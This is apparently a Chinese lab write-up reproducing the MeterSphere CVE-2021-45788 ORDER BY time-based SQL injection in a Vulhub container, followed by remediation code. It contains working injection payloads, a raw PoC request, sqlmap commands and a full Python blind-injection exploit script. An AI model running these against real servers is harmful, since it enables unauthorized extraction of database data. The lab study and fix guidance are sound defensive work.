手把手教你用Vulhub复现metersphere CVE-2021-45788漏洞(附完整POC)

0 阅读19分钟

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞原理

CVE-2021-45788 是 Metersphere v1.15.4 中发现的 Time-based SQL 注入 漏洞,存在于 orders 参数的处理逻辑:该参数未正确进行消毒/参数化,从而使攻击者能够将恶意 SQL 代码注入到服务器与数据库之间的查询语句中。

漏洞本质

  • 应用将 orders 参数直接拼入 SQL 查询
  • 未对特殊字符(如 ' OR 1=1 --)等进行防护
  • 导致数据库语句逻辑被攻击者控制
  • 可借 time-based技术判断数据存在、执行任意 SQL 影响
  • 攻击成果包括:数据泄露、数据篡改、权限提升乃至函数调用层面破坏程序逻辑

漏洞原理示意图

SQL注入Payload构造


正常排序请求:
GET /api/test-plan/list?orders=create_time DESC

恶意注入Payload:
orders=create_time DESC, 
(CASE WHEN (SELECT SUBSTR(database(),1,1)='m') THEN SLEEP(5) ELSE 0 END)

生成的后端SQLSELECT * FROM test_plan 
ORDER BY create_time DESC, 
(CASE WHEN (SELECT SUBSTR(database(),1,1)='m') THEN SLEEP(5) ELSE 0 END)

执行逻辑:
1. 执行子查询:SELECT SUBSTR(database(),1,1)='m'
2. 如果返回true,执行SLEEP(5)
3. 如果返回false,返回0
4. 攻击者通过响应时间判断结果

数据提取过程


提取数据库名称(示例):
1. 判断数据库名第一个字符:
   Payload: CASE WHEN (SELECT SUBSTR(database(),1,1)='a') THEN SLEEP(5) ELSE 0 END
   响应延迟 → 是'a'
   响应正常 → 不是'a'
   
2. 循环测试a-z, A-Z, 0-9, 特殊字符
   最终确定第一个字符

3. 继续探测第二个字符:
   Payload: CASE WHEN (SELECT SUBSTR(database(),2,1)='b') THEN SLEEP(5) ELSE 0 END

4. 重复直到获取完整数据库名

提取表数据:
Payload: CASE WHEN (SELECT SUBSTR(
    (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1),
    1,1)='u') THEN SLEEP(5) ELSE 0 END
flowchart TD
    subgraph "阶段1: 信息收集与注入点确定"
        A1[攻击者扫描目标] --> A2[识别MeterSphere应用]
        A2 --> A3[枚举API接口]
        A3 --> A4[发现支持排序的接口]
        A4 --> A5[测试排序参数orders]
        A5 --> A6[确认存在SQL注入漏洞]
    end
    
    subgraph "阶段2: 时间盲注载荷构造"
        B1[分析排序参数orders] --> B2[构造基础注入载荷]
        B2 --> B3[添加CASE WHEN条件判断]
        B3 --> B4[嵌入SLEEP延时函数]
        B4 --> B5[构造完整Payload]
        B5 --> B6[示例: CASE WHEN 条件 THEN SLEEP5 ELSE 0 END]
    end
    
    subgraph "阶段3: SQL执行与响应分析"
        C1[发送恶意请求] --> C2[后端拼接SQL语句]
        C2 --> C3[MySQL执行查询]
        C3 --> C4[条件判断执行]
        C4 --> C5[响应时间差异]
        
        C5 --> C6[延迟响应: 条件为真]
        C5 --> C7[正常响应: 条件为假]
        
        C6 --> C8[记录为1 bit信息]
        C7 --> C9[记录为0 bit信息]
    end
    
    subgraph "阶段4: 自动化数据提取"
        D1[编写Python自动化脚本] --> D2[设置目标字符集]
        D2 --> D3[定义探测逻辑]
        D3 --> D4[逐位探测数据库信息]
        
        D4 --> D5[探测数据库名称]
        D5 --> D6[探测表名]
        D6 --> D7[探测列名]
        D7 --> D8[探测数据内容]
        
        D8 --> D9[获取管理员密码哈希]
        D8 --> D10[获取用户敏感信息]
        D8 --> D11[获取系统配置数据]
    end
    
    A6 --> B1
    B6 --> C1
    C9 --> D1
    
    style A6 fill:#ffcccc
    style B6 fill:#ff9999
    style C4 fill:#ff6666
    style C6 fill:#ff3333
    style D4 fill:#cc0000
    style D9 fill:#990000
  1. DFD(数据流 + STRIDE)
[Attacker]
     |
     | (1) HTTP malicious request
     v
[Metersphere API Handler]
     |
     | (2) Unsanitized parameter usage
     v
[SQL Builder/DB Access]
     |
     | (3) DB executes malformed query
     v
[Database]


STRIDE 威胁维度

类别是否说明
Spoofing无需伪造身份
Tampering注入破坏查询
Repudiation⚠️审计难与合法用户区分
Information Disclosure可泄露敏感数据
Denial of Service⚠️可耗尽资源
Elevation of Privilege⚠️可能间接改变权限

漏洞复现原理图示说明

sequenceDiagram
    participant A as 攻击者
    participant MS as MeterSphere后端
    participant DB as MySQL数据库
    participant S as 自动化脚本
    
    Note over A: 阶段1: 探测注入点
    
    A->>MS: 1. 发送测试请求<br>测试排序参数orders
    MS->>DB: 2. 执行测试查询
    DB->>MS: 3. 返回测试结果
    MS->>A: 4. 返回响应
    
    Note over A: 确认存在SQL注入漏洞
    
    A->>S: 5. 启动自动化脚本
    
    loop 逐位探测循环
        Note over S: 针对每个字符位
        
        S->>MS: 6. 发送时间盲注请求<br>Payload: CASE WHEN 条件 THEN SLEEP5 ELSE 0 END
        MS->>DB: 7. 拼接并执行SQL
        DB->>DB: 8. 判断条件真假
        alt 条件为真
            DB->>DB: 9. 执行SLEEP5
            DB->>MS: 10. 延迟后返回结果
            MS->>S: 11. 延迟响应
            S->>S: 12. 记录该位为1
        else 条件为假
            DB->>MS: 9. 立即返回结果
            MS->>S: 10. 正常响应
            S->>S: 11. 记录该位为0
        end
    end
    
    S->>S: 13. 组合所有位数据
    S->>A: 14. 输出获取的敏感数据
    
    Note over A: 获得数据库名称、管理员哈希等

在 MyBatis 或类似的 ORM 框架中,如果使用 ${} 而非 #{} 来处理排序字段,就会产生此类漏洞。

复现请求示例(PoC):

GET /api/test/plan/list/1/10?orders=[{"name":"(CASE WHEN (ASCII(SUBSTRING(DATABASE(),1,1))>100) THEN SLEEP(5) ELSE 1 END)","order":"desc"}] HTTP/1.1
Host: metersphere-host
Authorization: Bearer <valid_token>

原理拆解:

  • 正常 SQLSELECT * FROM test_plan ORDER BY name desc
  • 注入后 SQLSELECT * FROM test_plan ORDER BY (CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END) desc
  • 关键点:由于 ORDER BY 后面需要的是列名,大多数防御性全局过滤器(WAF)可能对复杂的逻辑表达式检查不足,导致注入成功。

漏洞复现

启动命令
docker pull
docker compose up -d
docker ps #-a可选

关闭命令
docker compose down

使用docker启动命令,然后打开url:http://your-ip:8081/ 。kali中可以通过ifconfig ,ip -a,hostname -I(i的大写字母)查看your-ip。

Snipaste_2026-02-03_20-44-51.png

一般而言,这种漏洞复现环境都是弱口令,所以相对比较容易登录。这里利用admin:metersphere这组账号密码登录。我们在/#/track/case/all路由按如下的数字顺序进行简单的操作。

Snipaste_2026-02-03_20-54-48.png

接下来对/test/case/list/1/10得到的数据包进行抓包重放。注意这里的CSRF_TOKEN和Cookie必须替换为你自己的。

Snipaste_2026-02-03_21-29-10.png

这里的Cookie由于作者打开了多个靶场,并且没有清除老旧的Cookie,所以实际可能会略微有所不同。

POST /test/case/list/1/10 HTTP/1.1
Host: localhost.lan:8081  //localhost.lan也可以改为自己的ip,使用exp时删去注释
Content-Length: 3149
Accept: application/json, text/plain, */*
CSRF-TOKEN: fXx2lJHlPYUA1mmtPn69Bhxtx7UVXEz676ScrXnOlFyUcUPQ0hrM9pjbe4U23MDLdURgu8bAJTZdIdVUYsbaOg==
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1733898529; skinName=skin-blue3; pageNo=1; pageSize=20; MS_SESSION_ID=2aad45b5-a17a-4a02-8e5d-0321805852d0
Connection: close
{"orders":[{"name":"name","type":",if(1=1,sleep(10),sleep(0))"}],"components":[{"key":"name","name":"MsTableSearchInput","label":"commons.name","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"tags","name":"MsTableSearchInput","label":"commons.tag","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"module","name":"MsTableSearchInput","label":"test_track.case.module","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"priority","name":"MsTableSearchSelect","label":"test_track.case.priority","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"}]},"options":[{"label":"P0","value":"P0"},{"label":"P1","value":"P1"},{"label":"P2","value":"P2"},{"label":"P3","value":"P3"}],"props":{"multiple":true}},{"key":"createTime","name":"MsTableSearchDateTimePicker","label":"commons.create_time","operator":{"options":[{"label":"commons.adv_search.operators.between","value":"between"},{"label":"commons.adv_search.operators.gt","value":"gt"},{"label":"commons.adv_search.operators.ge","value":"ge"},{"label":"commons.adv_search.operators.lt","value":"lt"},{"label":"commons.adv_search.operators.le","value":"le"},{"label":"commons.adv_search.operators.equals","value":"eq"}]}},{"key":"updateTime","name":"MsTableSearchDateTimePicker","label":"commons.update_time","operator":{"options":[{"label":"commons.adv_search.operators.between","value":"between"},{"label":"commons.adv_search.operators.gt","value":"gt"},{"label":"commons.adv_search.operators.ge","value":"ge"},{"label":"commons.adv_search.operators.lt","value":"lt"},{"label":"commons.adv_search.operators.le","value":"le"},{"label":"commons.adv_search.operators.equals","value":"eq"}]}},{"key":"creator","name":"MsTableSearchSelect","label":"api_test.creator","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"},{"label":"commons.adv_search.operators.current_user","value":"current user"}]},"options":{"url":"/user/list","labelKey":"name","valueKey":"id"},"props":{"multiple":true}},{"key":"reviewStatus","name":"MsTableSearchSelect","label":"test_track.review_view.execute_result","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"}]},"options":[{"label":"test_track.review.prepare","value":"Prepare"},{"label":"test_track.review.pass","value":"Pass"},{"label":"test_track.review.un_pass","value":"UnPass"}],"props":{"multiple":true}}],"filters":{"reviewStatus":["Prepare","Pass","UnPass"]},"planId":"","nodeIds":[],"selectAll":false,"unSelectIds":[],"selectThisWeedData":false,"selectThisWeedRelevanceData":false,"caseCoverage":null}


时间为真的验证,详情附近的响应时间为10028ms,略大于10s,说明sleep(10)执行成功。

Snipaste_2026-02-03_23-15-30.png

同理,时间验证为假时sleep(0)执行成功。

Snipaste_2026-02-03_21-56-20.png

这时候我们做好先写入req.txt的准备,以供sqlmap加载使用。其实req.txt就是上述验证时间盲注的任意一个数据包里的Request,下面以验证为假的Request为基准。

Snipaste_2026-02-03_22-09-39.png

sqlmap -r req.txt --dbms mysql --technique T --prefix , --level 3
sqlmap -r req.txt --dbms mysql --technique T --prefix , --level 3 --current-user

Snipaste_2026-02-03_22-38-34.png

Snipaste_2026-02-03_22-13-52.png

自己根据上述经验结合ai写的脚本,不知道为啥用户名的结果跟sqlmap跑出来的略微有些不同。

Snipaste_2026-02-03_23-30-05.png

#!/usr/bin/env python3
"""
基于时间盲注的SQL注入自动化脚本
目标:MeterSphere CVE-2021-45788
作者:安全测试
"""

import requests
import json
import time
import argparse
from urllib.parse import urlparse
import sys

class TimeBasedSQLiExploit:
    def __init__(self, target_url, req_file="req.txt"):
        """
        初始化盲注攻击器
        """
        self.target_url = target_url.rstrip('/')
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'application/json, text/plain, */*',
            'Accept-Encoding': 'gzip, deflate, br',
            'Accept-Language': 'en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7',
            'Connection': 'close'
        })
        
        # 从req.txt加载请求配置
        self.load_request_config(req_file)
        
        # 基础延迟配置
        self.base_time = 0  # 正常响应基准时间
        self.delay_threshold = 2.0  # 延迟判断阈值(秒)
        self.timeout = 30  # 请求超时时间
        
        print(f"[+] 目标: {self.target_url}")
        print(f"[+] 请求路径: {self.path}")
        
    def load_request_config(self, req_file):
        """
        从req.txt加载原始HTTP请求配置
        """
        try:
            with open(req_file, 'r') as f:
                lines = f.readlines()
            
            # 解析请求行
            request_line = lines[0].strip()
            method, self.path, http_version = request_line.split(' ')
            
            # 解析请求头
            headers = {}
            body_start = 0
            for i, line in enumerate(lines[1:], 1):
                line = line.strip()
                if not line:  # 空行表示头部结束
                    body_start = i + 1
                    break
                if ': ' in line:
                    key, value = line.split(': ', 1)
                    headers[key] = value
            
            # 解析请求体
            self.request_body = '\n'.join(lines[body_start:]).strip()
            
            # 更新session的headers
            for key, value in headers.items():
                if key not in ['Content-Length', 'Host', 'Connection']:
                    self.session.headers[key] = value
            
            # 解析JSON体
            self.json_data = json.loads(self.request_body)
            
            print(f"[+] 成功加载请求配置")
            print(f"[+] CSRF Token: {headers.get('CSRF-TOKEN', 'Not Found')[:20]}...")
            print(f"[+] Session ID: {headers.get('Cookie', 'Not Found')[:30]}...")
            
        except Exception as e:
            print(f"[-] 加载req.txt失败: {e}")
            sys.exit(1)
    
    def send_request(self, payload, verbose=False):
        """
        发送带有payload的请求,返回响应时间和状态
        """
        # 修改JSON中的注入点
        modified_data = self.json_data.copy()
        if 'orders' in modified_data and len(modified_data['orders']) > 0:
            # 注入点在orders[0]['type']字段
            modified_data['orders'][0]['type'] = payload
        
        # 发送请求
        start_time = time.time()
        try:
            response = self.session.post(
                f"{self.target_url}{self.path}",
                json=modified_data,
                timeout=self.timeout,
                verify=False  # 忽略SSL验证
            )
            elapsed = time.time() - start_time
            
            if verbose:
                print(f"  Payload: {payload}")
                print(f"  响应时间: {elapsed:.2f}s, 状态码: {response.status_code}")
                
            return elapsed, response.status_code, response.text
            
        except requests.exceptions.Timeout:
            print(f"[!] 请求超时 (>{self.timeout}s)")
            return self.timeout + 1, 0, "TIMEOUT"
        except Exception as e:
            print(f"[-] 请求错误: {e}")
            return 0, 0, f"ERROR: {e}"
    
    def calibrate_base_time(self):
        """
        校准基准响应时间
        """
        print("[*] 校准基准响应时间...")
        
        # 发送不包含sleep的payload
        normal_payload = ",if(1=1,0,0)"
        times = []
        
        for i in range(3):
            elapsed, status, _ = self.send_request(normal_payload)
            if status == 200:
                times.append(elapsed)
            time.sleep(0.5)
        
        if times:
            self.base_time = sum(times) / len(times)
            print(f"[+] 基准响应时间: {self.base_time:.2f}s")
        else:
            self.base_time = 1.0
            print(f"[!] 无法校准,使用默认值: {self.base_time:.2f}s")
        
        # 测试延迟注入是否有效
        test_payload = f",if(1=1,sleep({self.delay_threshold}),0)"
        elapsed, status, _ = self.send_request(test_payload, verbose=True)
        
        if elapsed > self.base_time + self.delay_threshold - 0.5:
            print(f"[+] 延迟注入有效! 响应时间: {elapsed:.2f}s")
            return True
        else:
            print(f"[-] 延迟注入可能无效! 响应时间: {elapsed:.2f}s")
            return False
    
    def test_condition(self, condition):
        """
        测试SQL条件是否为真(基于时间延迟)
        返回: True如果条件为真,False为假
        """
        # 构造时间盲注payload
        payload_true = f",if(({condition}),sleep({self.delay_threshold}),0)"
        payload_false = f",if(({condition}),0,sleep({self.delay_threshold}))"
        
        # 发送true条件的payload
        time_true, status_true, _ = self.send_request(payload_true)
        
        # 发送false条件的payload
        time.sleep(0.5)  # 避免请求过密
        time_false, status_false, _ = self.send_request(payload_false)
        
        # 判断哪个响应时间更长
        if time_true > time_false and time_true > self.base_time + self.delay_threshold - 0.5:
            return True
        elif time_false > time_true and time_false > self.base_time + self.delay_threshold - 0.5:
            return False
        else:
            # 不确定,可能需要重试
            return None
    
    def get_current_user_length(self):
        """
        获取当前用户的长度
        """
        print("[*] 获取当前用户长度...")
        
        max_length = 100
        for length in range(1, max_length + 1):
            condition = f"length(user())={length}"
            result = self.test_condition(condition)
            
            if result is True:
                print(f"[+] 当前用户长度: {length}")
                return length
            elif result is None:
                print(f"[!] 测试不确定,重试中...")
                # 重试一次
                result = self.test_condition(condition)
                if result is True:
                    print(f"[+] 当前用户长度: {length}")
                    return length
        
        print("[-] 无法确定用户长度")
        return None
    
    def get_current_user(self, length=None):
        """
        获取当前数据库用户
        """
        if length is None:
            length = self.get_current_user_length()
            if length is None:
                return None
        
        print(f"[*] 获取当前用户 (长度: {length})...")
        
        # 字符集(根据实际情况调整)
        charset = "0123456789" + \
          "abcdefghijklmnopqrstuvwxyz" + \
          "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + \
          "!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~" + \
          " "
        
        user = ""
        for position in range(1, length + 1):
            found = False
            
            # 先测试是否为数字或常见特殊字符
            test_chars = "0123456789@._-"
            for char in test_chars:
                hex_char = hex(ord(char))[2:]
                condition = f"hex(substr(user(),{position},1))='{hex_char}'"
                
                result = self.test_condition(condition)
                if result is True:
                    user += char
                    found = True
                    print(f"  位置 {position}: {char}")
                    break
                elif result is None:
                    # 重试
                    result = self.test_condition(condition)
                    if result is True:
                        user += char
                        found = True
                        print(f"  位置 {position}: {char}")
                        break
            
            if not found:
                # 二分法搜索字母
                low, high = 0, len(charset) - 1
                while low <= high:
                    mid = (low + high) // 2
                    mid_char = charset[mid]
                    
                    # 测试是否小于等于中间字符
                    hex_mid = hex(ord(mid_char))[2:]
                    condition = f"ascii(substr(user(),{position},1))<=ascii('{mid_char}')"
                    
                    result = self.test_condition(condition)
                    if result is None:
                        # 重试
                        result = self.test_condition(condition)
                    
                    if result is True:
                        high = mid - 1
                        # 检查是否等于中间字符
                        condition_eq = f"substr(user(),{position},1)='{mid_char}'"
                        result_eq = self.test_condition(condition_eq)
                        if result_eq is True:
                            user += mid_char
                            print(f"  位置 {position}: {mid_char}")
                            found = True
                            break
                    else:
                        low = mid + 1
                
                if not found:
                    # 尝试直接遍历
                    for char in charset:
                        condition = f"substr(user(),{position},1)='{char}'"
                        result = self.test_condition(condition)
                        if result is True:
                            user += char
                            print(f"  位置 {position}: {char} (遍历找到)")
                            found = True
                            break
            
            if not found:
                print(f"[-] 无法确定位置 {position} 的字符")
                user += "?"
        
        return user
    
    def test_vulnerability(self):
        """
        测试漏洞是否存在
        """
        print("[*] 测试漏洞是否存在...")
        
        # 测试1: 基本延迟
        payload = f",if(1=1,sleep({self.delay_threshold}),0)"
        elapsed, status, _ = self.send_request(payload)
        
        if elapsed > self.base_time + self.delay_threshold - 0.5:
            print(f"[+] 漏洞存在! 延迟响应: {elapsed:.2f}s")
            return True
        else:
            print(f"[-] 可能不存在漏洞,响应时间: {elapsed:.2f}s")
            
            # 尝试其他payload
            test_payloads = [
                f",sleep({self.delay_threshold})",
                f"',sleep({self.delay_threshold}),'",
                f",1,sleep({self.delay_threshold})"
            ]
            
            for payload in test_payloads:
                elapsed, status, _ = self.send_request(payload)
                if elapsed > self.delay_threshold:
                    print(f"[+] 使用payload '{payload}' 检测到漏洞!")
                    return True
                time.sleep(1)
            
            return False
    
    def run(self):
        """
        运行完整的攻击流程
        """
        print("=" * 60)
        print("MeterSphere CVE-2021-45788 时间盲注利用脚本")
        print("=" * 60)
        
        # 1. 校准基准时间
        if not self.calibrate_base_time():
            print("[-] 基准校准失败,可能漏洞不存在")
            return
        
        # 2. 测试漏洞
        if not self.test_vulnerability():
            print("[-] 漏洞测试失败")
            return
        
        print("[+] 漏洞确认,开始利用...")
        
        # 3. 获取当前用户
        print("\n[*] 阶段1: 获取数据库当前用户")
        current_user = self.get_current_user()
        if current_user:
            print(f"[+] 当前数据库用户: {current_user}")
        else:
            print("[-] 无法获取当前用户")
        
        # 4. 可以扩展其他功能
        # 例如:获取数据库版本、数据库名等
        print("\n[*] 阶段2: 获取数据库信息")
        
        # 获取数据库版本长度
        print("[*] 获取数据库版本长度...")
        for length in range(1, 100):
            condition = f"length(version())={length}"
            result = self.test_condition(condition)
            if result is True:
                print(f"[+] 数据库版本长度: {length}")
                
                # 获取版本信息(简化版,实际需要完整实现)
                # 这里只演示获取前几个字符
                version_prefix = ""
                for pos in range(1, min(10, length) + 1):
                    for char in "0123456789.":
                        condition = f"substr(version(),{pos},1)='{char}'"
                        result = self.test_condition(condition)
                        if result is True:
                            version_prefix += char
                            break
                print(f"[+] 数据库版本前{len(version_prefix)}位: {version_prefix}")
                break
        
        print("\n[+] 利用完成!")


def main():
    parser = argparse.ArgumentParser(description='MeterSphere CVE-2021-45788 时间盲注利用工具')
    parser.add_argument('-u', '--url', required=True, help='目标URL (如: http://192.168.0.32:8081)')
    parser.add_argument('-r', '--request', default='req.txt', help='请求文件路径 (默认: req.txt)')
    parser.add_argument('-t', '--delay', type=float, default=2.0, help='延迟时间阈值 (默认: 2.0秒)')
    
    args = parser.parse_args()
    
    # 创建利用对象
    exploit = TimeBasedSQLiExploit(args.url, args.request)
    exploit.delay_threshold = args.delay
    
    # 运行攻击
    exploit.run()


if __name__ == "__main__":
    # 禁用SSL警告
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    main()

运行脚本

基本使用:


python3 metersphere_exploit.py -u http://192.168.0.32:8081

指定自定义延迟时间:


python3 metersphere_exploit.py -u http://192.168.0.32:8081 -t 3

使用自定义请求文件:


python3 metersphere_exploit.py -u http://192.168.0.32:8081 -r my_request.txt

 脚本功能说明

功能说明
自动校准测量正常响应时间作为基准
漏洞验证测试时间盲注是否有效
获取用户自动化获取当前数据库用户
获取版本尝试获取数据库版本信息
智能重试对不确定的结果自动重试
详细输出显示每个步骤的进度和结果
我的担心是多余的,主要还是自己的查询用户不一样。

Snipaste_2026-02-03_23-38-48.png

快速修改(推荐)

在你的 get_current_user_length() 和 get_current_user() 方法中,将 user() 替换为 current_user()

def get_current_user_length(self):
    """获取当前用户的长度 - 使用current_user()"""
    print("[*] 获取当前用户长度...")
    
    max_length = 100
    for length in range(1, max_length + 1):
        # 将 user() 改为 current_user()
        condition = f"length(current_user())={length}"
        result = self.test_condition(condition)
        
        if result is True:
            print(f"[+] 当前用户长度: {length}")
            return length
        elif result is None:
            print(f"[!] 测试不确定,重试中...")
            result = self.test_condition(condition)
            if result is True:
                print(f"[+] 当前用户长度: {length}")
                return length
    
    print("[-] 无法确定用户长度")
    return None

def get_current_user(self, length=None):
    """获取当前数据库用户 - 使用current_user()"""
    if length is None:
        length = self.get_current_user_length()
        if length is None:
            return None
    
    print(f"[*] 获取当前用户 (长度: {length})...")
    
    # 在所有的查询条件中,将 user() 改为 current_user()
    # 例如:
    # condition = f"substr(current_user(),{position},1)='{char}'"
    # 而不是:condition = f"substr(user(),{position},1)='{char}'"
    
    # ... [保持其他代码不变,只替换函数名] ...

以上是详细的查看与sqlmap同样用户名的解决方案。

修复建议

  1. 升级版本:立即升级至 MeterSphere v1.15.5 或更高版本,官方已通过白名单方式修复此漏洞。
  2. 字段白名单(推荐):定义允许排序的列名集合。如果传入的 orders 参数不在白名单内,则抛出异常或使用默认排序字段。
  3. 正则校验:对 type 字段进行严格的正则表达式校验,仅允许字母、数字和下划线,禁止括号、逗号等符号。
  4. ORM 安全配置:在 MyBatis 中,对于 ORDER BY 必须使用白名单过滤,严禁直接透传前端 ${} 变量。

伪代码级修复示例

修复的核心在于切断用户输入与 SQL 执行链之间的直接映射

❌ 漏洞代码(直接拼接)

// 在对应的 Mapper 配置文件或 DAO 层中
@Select("SELECT * FROM test_plan WHERE project_id = #{projectId} ORDER BY ${orderColumn} ${orderType}")
List<TestPlan> listPlans(@Param("projectId") String pid, @Param("orderColumn") String column, @Param("orderType") String type);

// 在 Service 层中
public void getPlans(OrderRequest req) {
    // 危险:req.getName() 直接被当作 orderColumn 传入了 ${}
    return testPlanMapper.listPlans(req.getProjectId(), req.getName(), req.getOrder());
}

✅ 修复后代码(白名单过滤)

public class SQLSafeUtil {
    // 1. 定义允许排序的白名单
    private static final Set<String> ALLOWED_COLUMNS = 
        Stream.of("id", "name", "create_time", "update_time").collect(Collectors.toSet());

    public static String sanitizeColumn(String input) {
        if (input == null) return "create_time";
        
        // 2. 转换为小写并检查是否存在于白名单中
        String lowerInput = input.toLowerCase().trim();
        if (ALLOWED_COLUMNS.contains(lowerInput)) {
            return lowerInput;
        }
        
        // 3. 非法输入则返回默认字段,并记录安全日志
        SecurityLogger.warn("Detected invalid order column attempt: " + input);
        return "create_time";
    }
}

// Service 层修复
public void getPlans(OrderRequest req) {
    // 修复:强制经过过滤层,确保进入 SQL 的字符串是预定义的
    String safeColumn = SQLSafeUtil.sanitizeColumn(req.getName());
    String safeOrder = "DESC".equalsIgnoreCase(req.getOrder()) ? "DESC" : "ASC";
    
    return testPlanMapper.listPlans(req.getProjectId(), safeColumn, safeOrder);
}

修复方案

修复方案1:输入验证和过滤


// 修复前的漏洞代码
public List<TestPlan> listTestPlans(TestPlanRequest request) {
    String orderBy = request.getOrders();
    // 漏洞:直接拼接orders参数
    String sql = "SELECT * FROM test_plan ORDER BY " + orderBy;
    return jdbcTemplate.query(sql, new TestPlanRowMapper());
}

// 修复后的安全代码
public List<TestPlan> listTestPlans(TestPlanRequest request) {
    // 1. 验证orders参数
    String orderBy = sanitizeOrderBy(request.getOrders());
    
    // 2. 使用参数化查询
    String sql = "SELECT * FROM test_plan";
    
    if (StringUtils.isNotBlank(orderBy)) {
        sql += " ORDER BY " + orderBy;
    }
    
    return jdbcTemplate.query(sql, new TestPlanRowMapper());
}

private String sanitizeOrderBy(String orderBy) {
    if (StringUtils.isBlank(orderBy)) {
        return "";
    }
    
    // 3. 白名单验证:只允许特定的列名和排序方式
    String[] allowedColumns = {
        "create_time", "update_time", "name", "status", "creator"
    };
    
    String[] parts = orderBy.split(",");
    List<String> safeParts = new ArrayList<>();
    
    for (String part : parts) {
        part = part.trim();
        String[] columnOrder = part.split("\\s+");
        
        if (columnOrder.length == 0) {
            continue;
        }
        
        String column = columnOrder[0];
        String order = (columnOrder.length > 1) ? columnOrder[1] : "ASC";
        
        // 检查列名是否在白名单中
        boolean columnAllowed = false;
        for (String allowed : allowedColumns) {
            if (allowed.equalsIgnoreCase(column)) {
                columnAllowed = true;
                break;
            }
        }
        
        if (!columnAllowed) {
            // 记录安全事件
            logSecurityAlert("Invalid order by column: " + column);
            continue;
        }
        
        // 检查排序方式
        if (!"ASC".equalsIgnoreCase(order) && !"DESC".equalsIgnoreCase(order)) {
            order = "ASC";
        }
        
        safeParts.add(column + " " + order);
    }
    
    return String.join(", ", safeParts);
}

修复方案2:使用安全的排序映射


// 安全的排序参数处理
@Component
public class OrderBySanitizer {
    
    private final Map<String, String> columnMapping = new HashMap<>();
    
    public OrderBySanitizer() {
        // 定义安全的列名映射
        columnMapping.put("createTime", "create_time");
        columnMapping.put("updateTime", "update_time");
        columnMapping.put("name", "name");
        columnMapping.put("status", "status");
        columnMapping.put("creator", "creator");
    }
    
    public String sanitize(OrderRequest request) {
        if (request == null || request.getOrders() == null) {
            return "";
        }
        
        List<OrderItem> orderItems = request.getOrders();
        List<String> safeOrderParts = new ArrayList<>();
        
        for (OrderItem item : orderItems) {
            String column = item.getColumn();
            String direction = item.getDirection();
            
            // 验证列名
            if (!columnMapping.containsKey(column)) {
                log.warn("Invalid order column requested: {}", column);
                continue;
            }
            
            // 映射到数据库列名
            String dbColumn = columnMapping.get(column);
            
            // 验证排序方向
            if (!"ASC".equalsIgnoreCase(direction) && !"DESC".equalsIgnoreCase(direction)) {
                direction = "ASC";
            }
            
            safeOrderParts.add(dbColumn + " " + direction);
        }
        
        if (safeOrderParts.isEmpty()) {
            return "";
        }
        
        return "ORDER BY " + String.join(", ", safeOrderParts);
    }
    
    // 使用DTO接收排序参数
    @Data
    public static class OrderRequest {
        private List<OrderItem> orders;
    }
    
    @Data
    public static class OrderItem {
        private String column;
        private String direction = "ASC";
    }
}



// 在控制器中使用
@RestController
@RequestMapping("/api/test-plan")
public class TestPlanController {
    
    private final OrderBySanitizer orderBySanitizer;
    private final TestPlanService testPlanService;
    
    @GetMapping("/list")
    public ResponseEntity<?> listTestPlans(
            @RequestParam(defaultValue = "1") int page,
            @RequestParam(defaultValue = "10") int limit,
            @RequestParam(required = false) String orders) {
        
        try {
            // 解析排序参数
            OrderRequest orderRequest = parseOrderRequest(orders);
            
            // 安全处理排序
            String safeOrderBy = orderBySanitizer.sanitize(orderRequest);
            
            // 执行查询
            List<TestPlan> plans = testPlanService.getTestPlans(page, limit, safeOrderBy);
            
            return ResponseEntity.ok(plans);
            
        } catch (IllegalArgumentException e) {
            return ResponseEntity.badRequest().body("Invalid order parameters");
        }
    }
    
    private OrderRequest parseOrderRequest(String orders) {
        OrderRequest request = new OrderRequest();
        
        if (StringUtils.isBlank(orders)) {
            return request;
        }
        
        List<OrderItem> orderItems = new ArrayList<>();
        String[] parts = orders.split(",");
        
        for (String part : parts) {
            String[] columnOrder = part.trim().split("\\s+");
            
            if (columnOrder.length == 0) {
                continue;
            }
            
            OrderItem item = new OrderItem();
            item.setColumn(columnOrder[0]);
            
            if (columnOrder.length > 1) {
                item.setDirection(columnOrder[1]);
            }
            
            orderItems.add(item);
        }
        
        request.setOrders(orderItems);
        return request;
    }
}

